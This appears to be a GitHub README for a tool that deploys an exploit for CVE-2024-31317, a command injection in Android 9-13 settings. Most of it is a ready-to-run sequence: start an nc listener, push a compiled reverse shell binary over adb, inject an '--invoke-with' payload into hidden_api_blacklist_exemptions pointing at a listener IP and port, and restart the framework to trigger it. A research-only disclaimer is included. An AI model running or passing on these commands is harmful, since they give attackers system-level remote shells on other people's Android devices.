
CVE-2024-31317
This project is intended solely for security research and educational purposes. Using this tool for unauthorized testing is illegal. The author is not responsible for any misuse or damage.
CVE-2024-31317 is a critical security vulnerability affecting Android 9 through Android 13 devices, allowing applications with the WRITE_SECURE_SETTINGS permission to gain system-level execution through command injection.
This project provides detailed technical analysis, proof-of-concept code, and automated deployment tools for the vulnerability.
CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/
git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer
chmod +x compile.sh
./compile.sh
# Start listener
nc -lvnp 4444
# Push and execute
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell
# Inject payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"
# Trigger vulnerability
adb shell stop && adb shell start
This project is intended solely for security research and educational purposes. By using this tool, you agree to:
This project is licensed under the MIT License - see the LICENSE file for details
fcy10012 - GitHub
Reference project: WebLDix/CVE-2024-31317-PoC-Deployer
⭐ If this project helps you, please give it a star!